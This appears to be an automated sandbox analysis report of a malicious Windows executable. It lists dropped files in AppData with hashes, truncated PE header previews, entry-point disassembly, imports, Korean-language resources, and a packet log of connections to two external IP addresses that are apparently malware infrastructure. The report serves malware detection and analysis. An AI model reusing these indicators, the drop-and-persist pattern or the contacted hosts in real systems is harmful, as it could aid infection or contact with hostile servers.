Preview:	......I.m.79...g.#Bm.[......t[..x.............C3.....7D..A...l.y..&.r~..x"..0?..'..$...h.+...z0.I..;.7.Yc.dh/v.X....l.5.....G.z.;...9....3.L.Nx.k...I..N.<..E.....k...#x..>D.GJ.x.u.......L..wa.u..d....:caS..-..8'..1.O.]i......2/.l.wY.....c...[....@...C`"K.aw^9.z..N%.....mpgFV.........J..zn.....m.b.5g..........l...w. ..OE%8...I...+...@T..4....0h...4.y.j.'/;......=....Nbd..sI.'.;...-O..=..6.R.<...R.-(..M.R.......+.._[.G.w.....].0:.*Ya..!.s.E........Z...Q.Az..~R/.K.(Vd.J#.O..F.../!U.}....0i.4.dNG\b:...8R..y..O.....z"S@...p...`N.g....ZB.5ul&.<....o.q.i........U...r.jJ^...].H..u...6.+3yqO]~..k......o0C...9{/...\"H...6....W..:..H...3.`p..6..e....i6...4.k..b.g.k.....a..Zd....JT..\..].#./%.Y.ko.C...j.?.i8.^....?\v@.gq$k...xSVM..?Q^4x....... R...`bf>l.d....(..n..OoyVS.P.l........vQ..Jh.r.A..g.A.j....R..s.......%\|&X.......u...8...nr].n.O..H.[..KH...8....K...?..B....}J\|#..[.\fW.Nz..u..m9.Q....9..39.s.d[..a.gr...g.w..PY;.^.b.5.L..%....D.7...

C:\Users\user\AppData\Roaming\viiivdw

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	297472
Entropy (8bit):	6.556283480132077
Encrypted:	false
SSDEEP:	6144:SualSOelXyx6b2sAkrvM/vTClWpfqdy1IrOQe3nlbu0hTS8RZY/D26:BalDk/mfQmIrDe3nzhTS8Mr5
MD5:	576227815616E27EC0043A1BD3AF5A26
SHA1:	6A457F5785E9695B733810A70C2DBBDDEB0DA6E4
SHA-256:	0E809C9BDC3A6F8688665DC1474FE99637FDC8D8126A6402DCB668D8BF878D94
SHA-512:	1489D663E07DC685E300A244F3922CC365B1E44EA57A65115594B472F2A2136896D2706DAA748FCE16A40D7766B6C64A41814F6E62711F70AC411EA2A84F44C9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........$..w..w..w..Fw..w..Pwm..w.P.w..w..wS..w..Ww..w..Gw..w..Bw..wRich..w................PE..L...0h3a......................A.....P........ ....@...........................D.................................................d....pD..5..............................................................@............................................text...D........................... ..`.data....LA.. ...@..................@....rsrc....5...pD..6...T..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\viiivdw:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\wtiivdw

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	297472
Entropy (8bit):	6.553238502071864
Encrypted:	false
SSDEEP:	6144:RKiJI2vEl3yx6B2sfkvP/GTvtW14UN6HZz0nuw9RP19n4+puf+f:bJIB324esZz0nuw/194+Vf
MD5:	4DD5B94AF732FDAA38C731E6AB39BFAD
SHA1:	41D014CD2033B978CF23791317FABE30332F934A
SHA-256:	555A70BDD0F7F17C5D79C2A3E01525F0C036D32AD9F77B08F7B15B7210D80242
SHA-512:	D14C86DBD19BD71F76236C8FFAF384091ABD93639E9194D3B8C788EFFB8E792BC4DF252A21C99845B2CACEB8A56AE4584C253B5A0399600D72F1272AD689B549
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........$...w...w...w..Fw...w..Pw-..w.P.w...w...w...w..Ww...w..Gw...w..Bw...wRich...w........................PE..L...p!3a......................A.....`........ ....@...........................D.....-Z..........................................d....pD..5..............................................................@............................................text...8........................... ..`.data....KA.. ...@..................@....rsrc....5...pD..6...T..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\ADFF.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:y:y
MD5:	81051BCC2CF1BEDF378224B0A93E2877
SHA1:	BA8AB5A0280B953AA97435FF8946CBCBB2755A27
SHA-256:	7EB70257593DA06F682A3DDDA54A9D260D4FC514F645237F5CA74B08F8DA61A6
SHA-512:	1B302A2F1E624A5FB5AD94DDC4E5F8BFD74D26FA37512D0E5FACE303D8C40EEE0D0FFA3649F5DA43F439914D128166CB6C4774A7CAA3B174D7535451EB697B5D
Malicious:	false
Preview:	..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.556283480132077
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	297472
MD5:	576227815616e27ec0043a1bd3af5a26
SHA1:	6a457f5785e9695b733810a70c2dbbddeb0da6e4
SHA256:	0e809c9bdc3a6f8688665dc1474fe99637fdc8d8126a6402dcb668d8bf878d94
SHA512:	1489d663e07dc685e300a244f3922cc365b1e44ea57a65115594b472f2a2136896d2706daa748fce16a40d7766b6c64a41814f6e62711f70ac411ea2a84f44c9
SSDEEP:	6144:SualSOelXyx6b2sAkrvM/vTClWpfqdy1IrOQe3nlbu0hTS8RZY/D26:BalDk/mfQmIrDe3nzhTS8Mr5
TLSH:	59548D01AB90D435F4F312F845B69368B93D3AA1A72491CF52E52AFE57386E0EC3135B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........$...w...w...w..Fw...w..Pwm..w.P.w...w...wS..w..Ww...w..Gw...w..Bw...wRich...w................PE..L...0h3a...................

File Icon


Icon Hash:	c8d0d8e0f8e8f4e8

Static PE Info

General

Entrypoint:	0x40ad50
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x61336830 [Sat Sep 4 12:36:00 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	e75aaa0267fcaf6af25952a67bfca3e0

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FC9D0D544BBh
call 00007FC9D0D46E56h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 00430870h
push 0040E2A0h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [00444C14h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401198h]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007FC9D0D46E68h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007FC9D0D46F97h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007FC9D0D46FD4h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007FC9D0D5534Ah
add esp, 04h
test eax, eax
jne 00007FC9D0D46E4Ch
push 0000001Ch
call 00007FC9D0D46F8Ch
add esp, 04h
call 00007FC9D0D4E324h
test eax, eax
jne 00007FC9D0D46E4Ch
push 00000010h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x30fb4	0x64	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x447000	0x35a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1300	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x8e88	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x2a8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x30f44	0x31000	False	0.41819296077806123	data	6.136631727849965	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x32000	0x414ca8	0x14000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x447000	0x35a8	0x3600	False	0.6336805555555556	data	5.696059697093397	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AFX_DIALOG_LAYOUT	0x44a0c0	0x2	data
AFX_DIALOG_LAYOUT	0x44a0c8	0x2	data
AFX_DIALOG_LAYOUT	0x44a0d0	0x2	data
RT_ICON	0x4474a0	0x6c8	data	Korean	North Korea
RT_ICON	0x4474a0	0x6c8	data	Korean	South Korea
RT_ICON	0x447b68	0x568	GLS_BINARY_LSB_FIRST	Korean	North Korea
RT_ICON	0x447b68	0x568	GLS_BINARY_LSB_FIRST	Korean	South Korea
RT_ICON	0x4480d0	0x10a8	data	Korean	North Korea
RT_ICON	0x4480d0	0x10a8	data	Korean	South Korea
RT_ICON	0x449178	0x988	dBase III DBT, version number 0, next free block index 40	Korean	North Korea
RT_ICON	0x449178	0x988	dBase III DBT, version number 0, next free block index 40	Korean	South Korea
RT_ICON	0x449b00	0x468	GLS_BINARY_LSB_FIRST	Korean	North Korea
RT_ICON	0x449b00	0x468	GLS_BINARY_LSB_FIRST	Korean	South Korea
RT_STRING	0x44a218	0x15a	data	Korean	North Korea
RT_STRING	0x44a218	0x15a	data	Korean	South Korea
RT_STRING	0x44a378	0x1e0	data	Korean	North Korea
RT_STRING	0x44a378	0x1e0	data	Korean	South Korea
RT_STRING	0x44a558	0x50	data	Korean	North Korea
RT_STRING	0x44a558	0x50	data	Korean	South Korea
RT_ACCELERATOR	0x44a018	0x58	data	Korean	North Korea
RT_ACCELERATOR	0x44a018	0x58	data	Korean	South Korea
RT_ACCELERATOR	0x449fb8	0x60	data	Korean	North Korea
RT_ACCELERATOR	0x449fb8	0x60	data	Korean	South Korea
RT_GROUP_ICON	0x449f68	0x4c	data	Korean	North Korea
RT_GROUP_ICON	0x449f68	0x4c	data	Korean	South Korea
RT_VERSION	0x44a0d8	0x140	MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
None	0x44a080	0xa	data	Korean	North Korea
None	0x44a080	0xa	data	Korean	South Korea
None	0x44a090	0xa	data	Korean	North Korea
None	0x44a090	0xa	data	Korean	South Korea
None	0x44a070	0xa	data	Korean	North Korea
None	0x44a070	0xa	data	Korean	South Korea
None	0x44a0a0	0xa	data	Korean	North Korea
None	0x44a0a0	0xa	data	Korean	South Korea
None	0x44a0b0	0xa	data	Korean	North Korea
None	0x44a0b0	0xa	data	Korean	South Korea

Imports

DLL	Import
KERNEL32.dll	QueryDosDeviceA, LocalFree, SetProcessPriorityBoost, VirtualQuery, GlobalGetAtomNameW, FindResourceW, GetComputerNameExW, GetModuleHandleA, GetTempPathA, BuildCommDCBAndTimeoutsW, GetProcAddress, VirtualProtect, OpenJobObjectW, _lread, UnlockFile, GetPrivateProfileStructA, GetDiskFreeSpaceExW, DefineDosDeviceA, SetVolumeMountPointW, GetAtomNameA, EnumResourceLanguagesA, GetCPInfoExW, GetThreadContext, lstrlenW, GetProcessAffinityMask, SetConsoleWindowInfo, GlobalGetAtomNameA, CreateJobSet, CopyFileW, lstrcpynA, WriteConsoleW, GetCommandLineA, GetLastError, GetCommandLineW, InterlockedIncrement, CreateJobObjectW, InitializeCriticalSection, GetConsoleFontSize, FindNextVolumeW, CreateIoCompletionPort, SetConsoleCursorInfo, LoadLibraryW, GetConsoleAliasesLengthW, VerifyVersionInfoA, AddAtomA, InterlockedDecrement, LoadLibraryA, FoldStringA, GetProfileSectionW, GetDefaultCommConfigA, GetConsoleAliasesLengthA, lstrcpyA, TerminateThread, SetHandleInformation, SetCriticalSectionSpinCount, GetComputerNameA, EnumSystemLocalesW, DisableThreadLibraryCalls, OpenMutexA, LocalFileTimeToFileTime, SearchPathA, WaitForSingleObject, CreateMutexA, FindResourceA, FormatMessageA, InterlockedCompareExchange, EnumDateFormatsA, GetConsoleScreenBufferInfo, LocalAlloc, GetFileInformationByHandle, SetFileShortNameA, EnumCalendarInfoExA, GetFileAttributesA, GetSystemWindowsDirectoryW, ReadConsoleInputA, _hwrite, GetConsoleAliasA, GetFullPathNameA, DebugBreakProcess, SetCurrentDirectoryW, SetCalendarInfoW, CreateFileA, GetProfileSectionA, SetHandleCount, FlushConsoleInputBuffer, CopyFileExA, ReadConsoleOutputCharacterW, WriteProfileSectionW, FindNextFileA, WideCharToMultiByte, UnhandledExceptionFilter, SetUnhandledExceptionFilter, MoveFileA, DeleteFileA, RaiseException, GetStartupInfoW, HeapValidate, IsBadReadPtr, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameW, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, TlsGetValue, GetModuleHandleW, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, SetLastError, Sleep, ExitProcess, GetModuleFileNameA, WriteFile, GetStdHandle, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetFileType, GetStartupInfoA, HeapDestroy, HeapCreate, HeapFree, VirtualFree, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, RtlUnwind, InitializeCriticalSectionAndSpinCount, DebugBreak, OutputDebugStringA, OutputDebugStringW, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, FlushFileBuffers, GetConsoleCP, GetConsoleMode, ReadFile, SetFilePointer, CloseHandle, SetStdHandle, WriteConsoleA, GetConsoleOutputCP
USER32.dll	LoadMenuA, CharToOemBuffW, CharUpperW, GetMenuInfo
GDI32.dll	GetBoundsRect, SelectObject, GetCharWidthW, GetCharWidth32A
ADVAPI32.dll	RevertToSelf

Possible Origin

Language of compilation system	Country where language is spoken	Map
Korean	North Korea
Korean	South Korea

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 30, 2022 15:54:13.006407976 CEST	49722	80	192.168.2.5	185.237.206.60
Aug 30, 2022 15:54:16.012729883 CEST	49722	80	192.168.2.5	185.237.206.60
Aug 30, 2022 15:54:21.819401026 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:22.077122927 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:22.078843117 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:22.083466053 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:22.083498955 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:22.341288090 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.089220047 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.089351892 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.089473009 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:23.347548962 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.347609043 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.347651005 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.347692966 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.347737074 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:23.347759962 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:23.607886076 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.607938051 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.607975960 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.608061075 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.608114004 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:23.608103037 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.608144999 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:23.608175039 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.608212948 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.608244896 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:23.608381033 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.608510017 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:23.866991043 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867044926 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867084026 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867122889 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867162943 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867177963 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:23.867201090 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867201090 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:23.867239952 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867254972 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:23.867281914 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867321014 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867389917 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867434978 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867448092 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:23.867455006 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:23.867474079 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867512941 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867553949 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867593050 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:23.867609978 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:23.867618084 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:23.919667006 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.127074957 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127119064 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127140999 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127160072 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127177954 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127204895 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127229929 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127252102 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127274990 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127281904 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.127298117 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127305984 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.127311945 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.127321959 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127346039 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.127343893 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127392054 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127414942 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127439022 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127456903 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.127460957 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127465010 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.127484083 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127506971 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127530098 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127551079 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127552032 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.127562046 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.127573013 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127594948 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127598047 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.127616882 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127639055 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.127684116 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.127692938 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.177675962 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.177725077 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.177798033 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.385485888 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.385544062 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.385584116 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.385615110 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.385644913 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.385684013 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.385723114 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.385744095 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.385763884 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.385770082 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.385822058 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.385828972 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.385868073 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.385907888 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.385915995 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.385947943 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.385984898 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.385993958 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.386024952 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386064053 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386074066 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.386104107 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386152983 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.386162043 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386208057 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386248112 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386260986 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.386286974 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386324883 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386333942 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.386375904 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386425972 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386466980 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386468887 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.386508942 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386517048 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.386548042 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386590004 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386606932 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.386630058 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386667013 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386677980 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.386718035 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386770010 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.386812925 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386904955 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.386976004 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.386987925 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.435324907 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.646636009 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.646676064 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.646718025 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.646763086 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.646806002 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.646821976 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.646843910 CEST	80	49723	115.88.24.202	192.168.2.5
